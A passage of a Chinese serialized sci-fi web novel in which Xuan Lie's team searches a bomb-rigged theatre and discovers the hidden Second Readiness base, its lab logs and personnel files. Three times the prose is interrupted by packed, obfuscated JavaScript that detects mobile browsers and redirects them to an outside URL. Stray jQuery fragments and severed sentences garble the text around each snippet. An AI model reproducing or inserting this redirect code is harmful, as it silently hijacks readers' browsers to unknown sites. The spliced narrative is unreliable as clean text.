顾不得别的,如同报复一般,上一次没能做到的事情玄烈这一次终于办到了。这一次再没有屏障将他们隔开,玄烈如一滴雨水砸入浑浊的大海。 挤进纷杂的人群,玄烈一心朝那手帕挤去。 可惜人太多了,高高低低的人影如洪水冲刷着河岸中玄烈这一块礁石,只一眼,前方便又空了。 玄烈焦急地绕圈旋转、四下寻找,前后左右都空了,直到人群散得干净,身上各处被行人撞的地方开始默默发痛。 多余的黑寂军也收工离开,剩下空荡荡的剧院和剧院前空地上的玄烈自己。 阿盼狐疑地走来,玄烈差点忘了自己是来干什么的。 再次伸手摸向口袋,指尖触到轻滑柔软的丝绸,他立刻将其扯了出来。 还是那块手帕,叠得整整齐齐,红到发黑的颜色,浓郁到像是一攥就能挤出血来。 “你看见谁了?”阿盼问。 玄烈尚处于紊乱状态,一时无法回答。直觉告诉他,他来对地方了。 因为那块手帕,是热的。 是一种人类独有的、用血和心跳凝成的温度。 剧院还剩下一个穿着保安服的大爷,阿盼稍作问话后便让大爷离开了。 “地下城是永璃岛未来发展的重心,目前正是预发展的阶段,大多数建筑都已经开始了地下空间的建设,我不信这没有地下室。”阿盼站在楼层指示屏前说。 “这有几层?”玄烈没有靠近阿盼,也没有搭阿盼的话茬。 “向上三层,”阿盼答道,“第一层由六个普通剧场组成,第二层叫浓缩戏剧小镇第三层有巨型舞台。” “上去看看。” 说着,玄烈就踏进了第一个普通剧场的门槛,崎朗自然也跟着走了进来。 阿盼检查了一番两只黑寂军的状态,又确认自己身上的探测仪保持开启状态,然后一边心心念念地下室,一边进入剧场。 舞台遥远,阶梯座椅环成近半圆通向被聚光灯打亮的那块小小天地。各式各样的道具仍摆在那里,大概他们到来时,一场剧目才刚演到一半。 玄烈没看过舞台剧,对此了解甚少,阿盼却对这些感兴趣。早年间他们没什么任务,日常除了训练就窝在宿舍里。 阿盼常常一身是伤缩在沙发上,玄烈边给他上药边听着阿盼冲着正放映剧目的屏幕哈哈大笑。不管是电影电视剧或是动漫舞台剧什么的,只要是舜氏之外的东西,阿盼就总是神采奕奕聚精会神地看,很多时候连疼痛都忘了。 崎朗也是个爱玩闹的。在玄烈他们谨慎着一步步踏下阶梯时,崎朗早就撒了欢跑到了舞台上面,还不慎撞翻了一张桌子,“嗵”的一声巨响险些让黑寂军拔出了枪。 阿盼用眼神骂人,崎朗哆嗦着溜下舞台做出一副认真找炸弹的样子。 几人四散开探寻着,玄烈便走上了舞台。 他手腕捆着一枚激光发射器似的东西,启动后,他随意抬手指向某个地方,便会有绿色的光束打出来,在对面物体上映出一个点,旋即又从点延展出直径近两米的光圈,随着他手移动而移动。 理论上来讲,一个光圈可以无视障碍和实体涵盖近五平方米的空间,且实体不会占用此空间,更不会削弱光束的强度。 原本是有探测力更广的仪器,但随着最近爆破技术的增进,连带着探测仪也更新换代,这已经是最新的产品了。 头顶的光照得人发昏,玄烈发觉他站在这里,好像台下的一切就自动模糊了,小小的天地变得广阔,竟莫名真的有种全世界唯我独尊的感觉。 将崎朗撞倒的桌子扶起,玄烈草草扫了圈周围,并没有发现。 舞台上一侧全是假山假水和一套仿古家具和做旧摆设,还有一棵假桃花树和遍地的粉红花瓣,另一侧则放着病床、输液架和一把塑料椅。 依稀跟着阿盼在屏幕上看过类似的内容,到头来有关于细节怎么都想不起来了,只记得阿盼兴致冲冲,说是有下辈子,他也想当个演员。 想到这,上空的灯“啪”的一声断掉了,玄烈和舞台一起浸在黑暗里。 原来是阿盼戳了戳开关,确保没有猫腻。 他好像很紧张的样子,这一层粗略转了转,就着急着要往楼上走。 炸弹还是次要的吧,阿盼自己也想亲眼见见第二战备什么样,万一能把基地保下来,说不定还能讨来不少好处。 向上的通道不好找,除了外面明晃晃的电梯,就只有六个普通剧场围成的狭窄中心区域有一条环形梯。 为了便于探索和更省时间,他们不约而同选择往剧场深处走。 结果打头的玄烈一只手刚掀起沉甸甸的红色绒幕布,身后黑寂军的心口便齐齐转换成红色,并发出“嘀嘀”的警报响。 “小心!”阿盼迅速作出反应闪身到玄烈身前,也抓住了幕布。 幕布后面是漆黑一片,看不清有多大空间,拉开的瞬间玄烈只觉得有阵阵潮气往脸上扑。 难道就这么快吗?玄烈还没深想,阿盼就将一只黑寂军扯过来,二话不说就把它推到幕布后面,随即将幕布紧紧合住。 那只黑寂军身上的声响越来越吵了,片刻,正当阿盼想微微拽开幕布探查情况时,几道锐器破空声急促响起,里面那只黑寂军挣扎了两下,而后就是某物体重重倒地的声音。 “呼”的一声,幕布外的人正思忖如何应对的空隙,好一阵雄浑的阴风从幕布后猛烈冲来,登时将厚实的幕布吹得横飞。 四方舞台边安置的灯廊和各类金属架子吭啷作响,有散架之势。被高高吹起的幕布角怕死一般缠住了那些架子,才不致场面太凌乱。 崎朗第一时间看见了倒在地上的黑寂军尸骨,立马吓得他抓住了玄烈的手臂。 身首分离,胸口精密的探测核心被削成不足毛发粗的碎屑。 有光才能展示出这惨烈的场面,但照亮这黑寂军的并非从他们身后头顶投来的那点可怜的光,而是幕布后的廊道深处的光。 廊道不深,墙壁所在的方位虽仍不能被清楚地看到,但也不至于同之前那般神秘。 尽头就是那环形梯,光便从那梯顶撒下。不像灯,像天光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时间还在流逝,玄烈确认探测仪还开着后便一刻不惜地跑上了楼梯。 转眼就是二楼,楼梯通向二层正式入口还有一条通道。穿过通道,一扇明显不属于这个时代的嵌有不规则条状青铜金玉的木制大门出现在眼前。 门内没有响动,玄烈心一横,把全身的力气压在手上拼命推开了那无比重实的门。 一声类似远古时期巨兽长叹的声音随着门开在整栋楼间回响,他们瞬时被眼前景象惊在原地。 首先映入眼帘的是一座不算太大的广场。广场中心有沸腾的喷泉,向外有三条路通向远方。而广场内和三条岔路上各有数不清的人形蜡像以跪姿面向他们视线尽头的两座雕塑。 雕塑像是石制的,高度通达这第二层顶上所设置的虚假的天幕,与外面的大天幕有异曲同工之妙。 一座雕塑面对玄烈他们,另一座则背对他们。二者皆仅是半身像,面向他们的这座倒是身体完好,身上的色彩仍旧鲜亮,乌黑的发丝从机械头盔边角露出,躯体的机械盔甲却把身体遮得严严实实。 另一座背对他们的倒是情况危险。它身上的盔甲和另一座不一样,看上去更加先进,颜色却不那么好看了,有被风沙侵袭的痕迹,大概是故意做旧的。更重要的是,这座雕像没有头,连带着半个肩膀也被削去了。 横截面不太平整,更像是成像之后被敲碎了又复原的。 要只是这样也没所谓,毕竟这是个沉浸式戏剧小镇,做戏而已,再奇异的场面也无可厚非。 可这也太奇异了! 玄烈愣住之时,崎朗悄没声走过来,指着面朝他们的那座雕塑颤颤巍巍地开口。 “队长,这座雕像……怎么那么像你啊?” 157. 第二战备基地(4) 相传在二十年前那场战役中,被策反的第一战备与第二战备好一番鏖战。二人齐齐化作一团恒久不灭的星火,上天入地在永璃岛战了个天荒地老。那时人们整日生活在心惊胆战之间,生怕二人随时会在打斗中摧毁城市。 渐渐的人们也习惯了,但凡探测到二人有异动,人们就会自觉转到地下去生活。 后来胜者的桂冠落到了第一战备的头上。邪恶的第一战备不仅将第二战备粉碎,还下令捣毁了世界各地的第二战备的雕像,并篡改了历史,制造出第二战备并不存在的假象迷惑群众。 “您的任务就是找到第二战备之首的碎片,打入第一战备创立的情报组织,从内部瓦解第一战备势力,帮助第二战备重见天日,拯救永璃岛民众……” 崎朗认真读着喷泉边提示牌上的话,越念越脸色难看,“这什么玩意,永璃岛难道已经没有能写出正经东西的文艺工作者了吗?!” “旁边标了,AI写的。”玄烈心如止水,指了指牌子角落的一行小字。 “看来所有人都知道你是第一战备了,”阿盼讲话腔调古怪,“我只好奇第二战备的雕像长什么样,说不定就是它本来的样子。” 牌子上写着还有还原第二战备雕像、敲碎邪恶的第一战备雕像的流程。一想到每天都会有人把自己的石雕敲个稀巴烂,玄烈就好一阵心凉。 但准确来说这个石雕还是更接近第一战备原本的样子,这么想,玄烈还能好受点。 小镇建筑林立屋舍俨然,小巷岔路四通八达,中间还设有人工河,是很方便藏匿的地方。诡异的是到处是蜡像,各类形态的蜡像,冷不丁在灯光昏暗处和它们对上目光,很可能会被吓个半死。 “分开找吧。”玄烈说道。扎堆不是什么好事,那人的目标不一定是杀他们,和阿盼他们一起走很难找到和那人对话的机会,找第二战备基地只会更麻烦。 谁知阿盼还没发话,崎朗就率先跑了过来,“不行队长!我得对你的安全负责!” “你能保护自己就不错了,”阿盼踹了踹他们背后紧闭的木门,哼了一声,“不找到碎片还原雕像我们就出不去,这没别人,有什么声音都能听见,分开就分开,利索一点。” 两个队长都发话了,崎朗不敢不从命。玄烈给他的腕表开放了个紧急联络的权限,比他以往的联络优先级更高些,让他有事第一时间联络。 给黑寂军的命令还是排爆,四处游走即可。安排妥当后,三人一人一条岔路,踏上了征程。 有小木船横在人工河岸边,玄烈没有赏风景玩乐的心情,就一路漫步目的地晃荡。 沉浸式游戏并未处于运转状态,玄烈跑到对面一模一样的大门边查看了一番发觉唯有碎片感应的系统开着,对应到第二战备雕塑那里,说明只要把雕塑复原就行了,不必把“他自己”砸掉。 沿途的机器人NPC都沉睡着,玄烈暗想着要是十分钟之内找不到那人,他就把门暴力破开。 一个像铁匠铺的小铺子朝街边开放着,一方小门通向后院,玄烈路过时瞄到那院子里有什么在动,便走了进去。 那是个上了锁的铁笼,粗重的铁链把笼子缠得几近密不透风。玄烈实在看不清里面动来动去的是什么,试探性挑拨一番也不见里面回应,就手起锥落破开了那铁笼。 一个身着西服的男人像是一直在睡觉,被动静震醒后他猛地跳起来,于是二人皆惊奇地瞪起眼。 “骨环?”“玄烈!” 话一出,骨环先捂住了自己的嘴,“小点声小点声,别让你那些同伴知道。” “你怎么在这?”玄烈乖乖降低了音量,“舜氏派人去找你了。” “就是因为人太多太吵啊,”骨环很苦恼的样子,“我只能跑到这安静待会,没想到差点被你砸死。” 抛开骨环根本不会被砸死不说,玄烈一股火涌了上来,“是你和韶赋修用第二站被基地的地址做交易?” “哦?你已经猜到了?”骨环整理了一番衣领,“还挺聪明啊。” “条件是什么?”玄烈压着眉头问。 “私心,”骨环坦然,“不过还有一点是因为你好像对这里感兴趣,我就帮帮你。” “是棱镜告诉你的?” 骨环不经意摩挲着自己的指尖,眼里满是属于造物者的傲慢,“算是我骗出来的吧。” “这也叫帮我?”玄烈语气不快。 “当然,”骨环也跟着笑起来,“很多时候帮你的人都不会让你知道他们在帮你,否则你的敌人也会知道的。” 很有道理,但还是让人很不爽。 “第二战备基地就在这里对吧?”玄烈想再确认一下。 “是,就在地下。”骨环回答得利落。 眼见玄烈要讲话,骨环直接把开口的机会抢了过来,“知道你要问什么,但门还没到开放的时候,等一会你们再玩一玩也不迟。” 看着骨环不紧不慢,玄烈心底稍稍补回来一点踏实感,“所以那个人,也是你请来帮我的吗?” “不,严格说起来,应该是那个人请我来帮你。” 骨环礼貌的微笑严丝合缝,玄烈再读不出多余的意思,只听见外面突然响起叮呤咣啷打砸东西的声音。 崎朗没有传来联络,可能不是他那的声音。玄烈心急着想去看看,可又没法把骨环撂在这里。 “你去吧,你说的那个人应该已经帮你们打开门了。我也该回去了,舜希找不到我,可能会把颠转掀个底朝天的。”骨环贴心地说。 “等等,最后一个问题!”趁骨环一转身消失之前,玄烈抓住了骨环的肩膀。 “那个人究竟什么来路?” “你为什么不自己去问呢?”骨环笑着反问道。 他的手已经开始呈粒子状态消散了,玄烈手实实抓着的地方也在慢慢变得虚无。 “很多事的本质都和你看上去的不一样,只是有的人在面上卖力,有的人在暗自刻苦。玄烈,只要不到必死的境地,你就大可不必着急迂回,完全可以趁这个机会蛰伏着,看看那些人脸谱下面真正的意图,对你探清局势很有帮助。” 在骨环实体如一阵沙消失前,他留下这么一段话。 “砰——”,巨响从广场传来,像是大门被炸破的声音。果然把机关炸掉是最快最省力的选择。 玄烈半个身子刚爬上铁匠铺的屋顶,就看见那人飘在被炸出一个大洞的门前,手里举着一把大枪,枪口冲着地面纹丝不敢动的阿盼等人。 看见玄烈的瞬间,那人即刻冲着玄烈就开了一枪。 白色子弹在空气擦出一条火色尾焰,玄烈一闪就躲开了。与此同时,那人飞出洞口,身影接着向环形梯上层飞去。 唯一可惜的是他们没能成功安好那雕像的头,玄烈还挺想看看塑像的人会把第二战备捏成什么模样。 汇合后阿盼话里话外埋怨着玄烈来得太晚,否则定能把那人绳之以法。 玄烈也不回复,阿盼说什么他就听什么,很多时候阿盼发发牢骚也就把事抛到脑后去了。 不知怎的,玄烈想起曾经纪凛烛还点过他的这种做法,叫“不会提供情绪价值”,显得人太冷漠。 所以几人抬脚回到环形梯那的时候,玄烈转身对阿盼说:“下次再有情况,第一时间联系我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196838|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄烈破天荒的回应让阿盼有点不知所措,他本来也就习惯性说几句,自己也没太放心上,更没对玄烈抱有期望。 “哦……哦。” 目送玄烈已经快要走到环形梯顶,阿盼才从呆滞中回个神来迈出脚。 穿过类似一层剧院里的那种幕布,玄烈才意识到这第三层就是岛内外有名赫赫有名的巨幕剧场。 和巨幕影院类似,舞台上的一切将被放大,任何细节都不会再逃过观众的眼睛。这样的设计给剧作者提供不少新思路。 这里的阶梯座椅为了服务舞台而严重变形,座椅几乎是仰面朝天的,又深又挤。倒是舞台看上去没什么特别,和普通的大剧场舞台差不多。 这里同样空荡荡,唯有黑寂军探测仪的嘀嘀声回响。 “就在这里。”阿盼警惕地往进走。 玄烈注意到门口墙上有个奇怪的按钮,居然是调色盘的形状,旁边标着巨幕开关。他也没多想,就摁了下去。 登时,剧场上空爆发出连续不断的“咔咔”声,吓得阿盼立即拔出了枪。随之一扇玻璃墙似的透明大幕从天缓缓而降,最终斜着面向观众席,卡进地面一条深窄的沟壑中。 原来巨幕的“巨”不是指有大屏幕,而是穿过这样一层屏障,舞台上的一切都将被放大十几倍,再配合被极限压缩的观演座位,压迫感不言而喻。 舞台上没有楼下那样复杂的道具,就几个塑料椅子并排整齐放着,舞台偏角落的地方放着一被胡乱啃到一半的苹果,看不出刚才在演什么戏。 出于好奇,崎朗站上了舞台往下望。而在玄烈所处的观众席这边,所看到的崎朗光是脑袋就有好几个阿盼叠起来那么大。 这里的天花板太高了,要是按正常楼层设计恐怕能被分割成十余层。 阶梯座椅最高点后方是一圈小方窗,洒进来的光比这内部的灯光要亮许多。被巨幕吓了一跳的阿盼连忙装作很忙的样子想挽回点颜面,所以没跟着崎朗他们研究巨幕的原理,而是自己跑到窗边去向外望。 可他越靠近窗户,手边的探测仪就越发灼烫, “玄烈,玄烈!”阿盼叫着,“有情况!” 他话音未落,一个人就“嘭”地一下冲破窗户飞了进来。速度之快,远非普通离弦之矢可以比得。 破碎玻璃屑炸成了一朵花,横冲直撞地扎了阿盼满身。但今时的阿盼以不同以往了,不再像之前那样先抱着头喊半天疼,而是尽力在混乱中辨认那人的方位,然后连开数枪。 玄烈突然意识到这段时间阿盼大概吃了不少苦。他入职晚,逃过了第一期队长日常需要的高强度训练,可阿盼就不一样了,要收服手下那些精兵强将不是容易的事,那意味着阿盼必须经受异于常人的艰苦训练。 不知道阿盼是如何熬过来的,但他战斗素养的确有了很大提升,能更好地保护自己了。 阿盼一连数枪都没击中,倒是被对方一脚踹翻在地。彼时,黑寂军身上的警报声已经惊天动地到听得人耳朵生疼的境地。 实在太吵,那人便伸手掰断了黑寂军的脖子,世界刹那清净了。 一颗燃火的青色光弹从库星枪口窜出,正中那人眉心的时刻,那人竟化作一团幽暗昏黑烟雾消失了。下一秒,那人出现在玄烈身后。 冰冷的手从后方狠狠掐住玄烈的脖颈,他瞬时反手抓住了那人,蹬地翻身而起,手掌死死攥着那细嫩的手腕,作势要将其手臂顺时针三圈拧断。 玄烈失败了,因为那人的手腕是活的,向外向内旋转一万八千圈也灵活自如,像是安上去的假手。 可他分明记得那人手掌能划出血来。 158. 第二战备基地(1) 容不得思考那么多,玄烈接着要去拼刀,他想看看这人究竟是个什么物种。他刚冲上去,就被对方凌厉一掌拍中心口,无措地后退了好几步。 那人不是来打架的。 面具后挤出一丝笑,一柄飞刃从那人手里化出,被那人甩向门口那调色盘一样的开关。 飞刃的形状细长又扁,没有把手,如一道血红的光闪过,有长度却没有厚度。 这不是那人当时攻击玄烈用的锥状体。 “啪嗒”一声,开关被击中,这次再不是巨幕的触发机关了。只听熟悉的爆炸声响,那人彻底消失不见了踪影。 “耍我们吗!”阿盼骂了一声,他接着还要说,爆炸便从他身边被引发。 红光点亮了宽阔的静寂之地,热浪将一排排座椅拍成碎片,玻璃巨幕顷刻碎落,一时间室内下起了冰雹一般的水晶雨。 炸弹一直存在,甚至存在于这座剧场的各个角落。不是那人胆大心细身负炸弹,而是一直在干扰他们的行动。 可是不对啊,时间还不到。 腕表被轰得闪烁起来,玄烈将其摘下收在口袋里,和阿盼崎朗一同往楼下跑。 炸弹像是有眼有灵一样追着他们炸,走过的地方皆会变成废墟,炸得天昏地暗,呛口烟尘如阴云时刻不离环绕着他们。灯光卡顿扑朔,满目是混凝土块木板金属屑,身上被咬了大大小小口子也不敢停留。 崎朗哪见过这场面,尖叫着溜得比兔子还快。 一口气跑到一楼,整栋楼被炸得摇摇欲坠几近要塌陷,玄烈瞥了眼时间,还是没到。巨幕毁坏,二层的雕像也估计被炸成再也拼不起来的石块了,环形梯被炸塌,那里大概真变成天井了。 光亮和出口就在前方,就这么一无所获地跑出去吗? 爆炸逼近了,玄烈却放慢脚步停在了剧场通向大门口的门槛处。 “队长你怎么了!快跑啊!”崎朗着急地就要伸手拽玄烈,玄烈却岿然不动。 有那么一瞬间,他好像看到了一扇奇怪的门,就掩在大厅口的售票处那里。 “玄烈!走啊!” 一根无比巨硕的石柱倒塌在他们身边,冒着被砸昏的风险,阿盼将玄烈大力往外扯。 火焰弥漫到周边用作装饰的绸缎帷幔和遍地塑料木头上,炽热的光把每个人的脸映成金橘色。 就算危险,玄烈也还是想一探究竟。 他装作被绊了一跤,借势把阿盼往外一推,正巧一根钢筋扎成的横柱砸了下来,横在二人之间。横柱上微弱的火苗在玄烈暗自加力下即刻膨胀成半人高的烈火,呲着邪恶獠牙向他们示威。 但崎朗还在玄烈这边。库星锥劈开火焰形成一条小道,玄烈也将崎朗推了出去,只是他收回手是衣袖被火焰燎到,顿时就有猩红的火沿着他手臂锁住了他的身体。 “玄烈!” 阿盼的这一声凄惨又悲痛的喊忽地把玄烈喊回到了几年前,隔着火幕,他也像是看到了阿盼曾经的样子。 不是怀旧的时候,玄烈飞快拨开售票处旁边的一大堆爆炸碎块,终于在那找到一扇小门,一扇门闩生了锈的小门,特别像珣魑山中那扇通向防空洞的小门。 阿盼和崎朗再喊了什么,玄烈听不到了。他算准了时机,身体钻入那条向下的通道前,最后一场小型爆炸封住了剧院的门,并作为导火索,剧院彻底倒塌。 身上的火是玄烈自己变出来的,他随意扑了扑,火焰便在撕咬破坏了他最外层的衣服后消失了。虽然多少也会有杀伤力,但一切还是处在他的控制中。 走廊阴暗幽闭,一级级台阶矮而窄,玄烈不得不一步下三格,走得跌跌撞撞。 所幸是声控灯,还没下完台阶就有白光从别处撒过来,护着他平平稳稳落了地。 终于有了点机密场所的样子。玄烈环顾这一眼望不到边的辽阔空间,率先看到的是一抹灰白。 这里不像旧舜氏那样黑,也没有市中心的新舜氏白得刺眼,就是很自然和谐的灰白。天花板很低,或许是唯一不太顺眼的地方。 莫名香气钻入玄烈的鼻腔,是某种类似雨后草坪和花海的味道,如果再详细一点,就是阳光、云层、大山和湖海的味道。 这里一尘不染,不同区域用合金网隔断,仅有一些看上去很高大上的地方被墙和密码门单独成立,大多数非实验区域都是不做密闭分隔的。 往进探了两步,玄烈才反应过来所谓的香味是什么味道,是原来的永璃岛的味道,是没有化工污染的味道,澄净又简单。 在一片合金网前,他注意到一个老旧的牌子,边角焦黄,锈迹斑斑,剐蹭划痕遍布,上面刻着不少字,最显著的是六个大字:第二战备基地。 玄烈有些恍惚,好不容易站到这里,紧张排斥的心情竟超过了兴奋和喜悦。 重点还不在这里。牌子上还刻着许多名字,一部分很明显是旧时刻的,至少也是二十多年前刻的,工工整整,另一部分则像是新刻的,年头不长,手法粗糙,略显仓促。 旧刻的是原先第二战备团队的成员。 【总负责人:林瑀】 【负责人:程黛绫、玄铮、纪棠烬】 再往后是团队成员,共七个名字,除了舜真、韶赋修和向繁森外,玄烈再不认识别的人。 只是这些名字大多被划掉了,比如林瑀、程黛绫、纪棠烬、韶赋修、向繁森、玄铮还有那些玄烈陌生的名字,划痕野蛮又凌乱,唯有舜真的名字保留下来。 而新刻的大概就是新的成员,只有两个人:在被划掉的纪棠烬名字旁边的程炼,和最后一行秀气利落的三个字,纪凛烛。 原来是这样。对于那些纪凛烛和舜真秘密探讨的事,玄烈这才有了眉目。 原来她早知道。 基地已经空了,玄烈一路走一路看,剩下的只有大件不易携带的机器和被废弃的仪器,以及零零落落一些无关紧要的小物件。 尽头的主实验室门大开着。和舜氏大部分实验室一样,这里的装潢也没什么特别,唯有场中一个实验台有些古怪。 试验台上束缚带松松垮垮摞着,禁锢四肢的金属扣也开着口子,玄烈对此无比熟悉。可以说,他躺实验台的次数大概比他杀的机器人还要多。 台面冰寒入骨,玄烈指尖停在那看似柔软的束缚带上,想着第二战备躺实验台的次数应该只会多不会少。 如果是这样,那就表明……第二战备已经成体了! 台边的大屏幕暗着,玄烈在周边探索了一圈,发现这里通向外面世界的路仅有一条,那就是穿过合金网组成的曲折道路原路返回。 除此以外就是一条不知通向何处的、安着铁网窗的通风管道。 这里的设备大多处于关闭状态,偶有部分风电相关的仪器还开着。角落一墨蓝色金属桌上摆着一台没被合住的笔记本电脑,玄烈随意点了个键,电脑屏幕却亮了。 一个巨大的电量不足提示在原本该展示的页面前回闪,玄烈轻而易举在一边地上找到连着电源的充电器。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258012|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 电输入后,页面冷静下来,同时,台边的大屏幕也跟着亮了。 大屏幕上是一条缓慢推进的进度条,不知正在加载什么,玄烈只注意到电脑屏幕上显示着的界面,像是一个社交帐号的主页。 米白色为底,浅绿色为衬的界面对眼睛十分友好,连帐号昵称的黑色字都不那么刺眼,但玄烈还是心一紧。 果不其然,“超级磐石小矿工……”玄烈念着这熟悉的几个字。 唯一不一样的地方是这里显示帐号昵称全称为:超级磐石小矿工0506。 腕表震了一下,玄烈点开一看,是绯篱发来的语音。 “玄烈老师,你上次要查的帐号上线了,而且还改了名字!我现在就去查这家伙在哪!” 轻叹了口气,玄烈发回语音,“不用查了,谢谢你。” 看来是玄烈点亮电脑的同时启动了自动更名的程序。但加的这四个数字是什么意思呢? 玄烈接着往下翻看页面。没有别的内容,有关账号主人的一切资料都空荡荡的,关注栏和粉丝栏也都是0,仅有一条发布的内容挂在主页最下方,是一条仅自己可见的动态。 那是一张孤零零的照片,无配文,时间指向今年五月份。照片也只是一张平平无奇的风景照,水清沙白,碧草蓝天,没什么有价值的东西。 真的没有吗? 玄烈不自觉将照片放大,又把眼睛近乎要贴在屏幕上仔仔细细地看。 青草嫩得每一根草尖都沉甸甸拖着露水,全都旺盛生长无比茁壮。草原绵延,蓝天深远,边缘鲜明的一坨坨纯白色棉花糖粘在高空,天地仿佛隔着几个世纪才能走到的距离。 空气无形,照片天然带着雨后清新空气的气味,玄烈看着看着就好像闻到了。 他意识到自己也亲眼见过这样的景色。 哉徉岛外岛的草原! 这一刻的震撼如惊雷破开混凝土直穿进他的天灵盖,顿时就有汗珠从他额头滴落,炙热滚烫。 恰好大屏幕那边的进度条走到尽头,一张照片骤然飘了出来铺满了整扇屏幕,叮叮当当的声音把玄烈还吓了一跳。 从那台令他神思混乱的电脑边离开,玄烈有些浑浑噩噩地走到大屏幕面前,一时没搞懂这又是什么稀奇的东西。 不过这回照片里终于是熟悉面孔了,曾在那张录音照片里见过的人好多都在这照片里,那牌子上的第二战备研发团队成员基本都在。当然,除了舜真、程炼和纪凛烛。 他们全都穿着花白的实验服,不是板板正正站着的,而是有意向镜头靠拢,一群人笑眼盈盈挤在一起。被挤在中间手舞足蹈的是玄铮,角落带着厚厚眼镜苦大仇深的是以前模样的向繁森,还有站在最前端的一男一女两个人。 男人一手叉腰,一手环着女人的肩,女人双手捧着一小盒子,他们亲密地贴在一起,每个人眼睛里烧着兴奋的火焰。 他想起来了,这是阿烛的父母。 玄烈想要伸手去点戳屏幕,想看看还有什么新奇的,却发现从刚才开始一直有奇异的字样在边角闪来闪去,看不清写着什么,像是出故障了,且貌似是屏幕的问题。 在屏幕上戳了半天也没有用,玄烈干脆一掌“啪”地一声大力拍在上面。 还是很有用的,那些字立马化作八个大字跳出来。这回没有奇怪的音效,只是玄烈仍心突突地还没恢复过来。 “欢迎来到,小晞之家……” 玄烈一字一字念着,不知道什么意思。 159. 第二战备基地(2) 无言,玄烈看不出任何门道,倒发现那被捧在手中的盒子上好像有一枚按钮。他拍了下去,画面切换到一张张日志一样的页面,能被翻着看,只是有不少字是乱码。 玄烈随便翻了几页,意识到这竟是第二战备的实验日志。最早的一篇可以追溯到二十年前,记录者署名通常是林瑀、程黛绫和另外两名成员,篇篇都是晦涩的专业名词和机密发现。 中间灾难时期日志更新停止了,但奇怪的是,有一篇是R700年更新的,也就是十六年前,无署名,仅有十四个字。 ——合体实验初步完成,情况基本稳定。 再往后就是三个月前,这以后的所有记录署名者都变成了程炼,记录内容也从原先的初步研发直接变成了第二战备测试指标记录表。 玄烈通篇看了下来,发觉基本每一条任务指标到最后的成绩都仅仅是“勉强合格”或是“勉强达标”。 或许第二战备的要求和标准是要高得多吧,玄烈这样想,如果是他去测试,说不定连通过都无法完成,更不用要求速度和质量了。 最后一页记录时间标注是在三天前,具体内容却和三个星期、三十天前的没什么区别,就这么戛然而止了。 一个齿轮样子的小箭头在右下角挂着,箭头指向正下方。玄烈琢磨了半天发现没有别的按钮可以点了,于是跟着指示点下了那枚箭头。 蹦出来又是一张照片,不同的是这次照片上的人都规规矩矩站着,彼此之间不太近也不算远,每个人都不苟言笑的样子,而玄烈指尖悬在谁脸前,谁的身体轮廓就会有光产生。 挺神奇的,好像点了谁就能看谁的秘密似的。玄烈随便点了一个人,立即有四位数密码锁弹现出来,上面写着:访问资料库需输入密码。 事情一下子就无聊起来。他本想任意四个数字排列组合一下,刚点了个“345”上去,最后的数字怎样都下不去手。 万一输错了这里炸掉怎么办? 可是他根本毫无头绪啊。玄烈动动这弄弄那,把桌上的资料翻了个底朝天,把房间里每个仪器都搬起来看看有没有藏什么数字或是编号有没有猫腻,可惜没什么收获。 直到他目光中心落回那台电脑。 电脑除了这个主页外一切都不能操作,页面里所有的数字除了那关注和被关注数是两个0外,仅有的数字是昵称里的“0506”,就连网址显示的数字也只有“0506”。 炸就炸了吧。玄烈一鼓作气跑到大屏幕面前,输入了那诡异的四个数字。 屏幕在最后一个“6”点下之后忽地振动起来,嗡嗡嗡个不停,不是炸了就像是要起飞了。然而玄烈刚准备逃命,动静又停止了,密码锁解开,屏幕淡淡展示出他点击的那个人的资料。 就这么简单。 玄烈粗略浏览了一眼,惊觉这好像是二十多年前的资料了。这个人他疑似在旧舜氏见过,那是他还只能给别人打下手的时候,曾和阿盼一起帮资料室的人整理要被销毁的资料。 屏幕上显示这个人履历非常丰富,来舜氏之前在不少科技公司实习过,上学时候拿了不少奖,加入舜氏后带领团队基本拿了每一届“崭盛杯”国际机械体设计大赛的金奖。可惜这个人在地震前就去世了,死因是心肌梗塞,这里同样没有显示。 这么久没有更新过的资料库,岂不是藏着不少秘密? 玄烈挨个看过来。照片上几乎每个人都有光辉灿烂的履历,资料所记载的也正是他们最辉煌的时候,只是每个人的结局又天差地别,令人不禁叹息。 第一个疑点却出现得措不及防。 向繁森的资料是照片里众人中最短的了,除了名校本硕博外,他的履历干干净净。没有大厂实习经历,没有获奖记录,没有作品。为数不多的成果也是在加入舜氏之后的。 然而他的资料在一句“R693年7月17日被开除出第二战备团队”后就没有了新的内容。 这里没写详细缘由,看来的确是犯错了。玄烈打算退出去看下个人的时候,基本资料里的两个字却突然变得格外耀眼。 向繁森基本资料中的婚姻状况那栏,填的是“未婚”。 难道他没有结婚?所以那些关于他妻子被抓去做什么实验也都是假话?包括他所说的孩子也完完全全是假的? 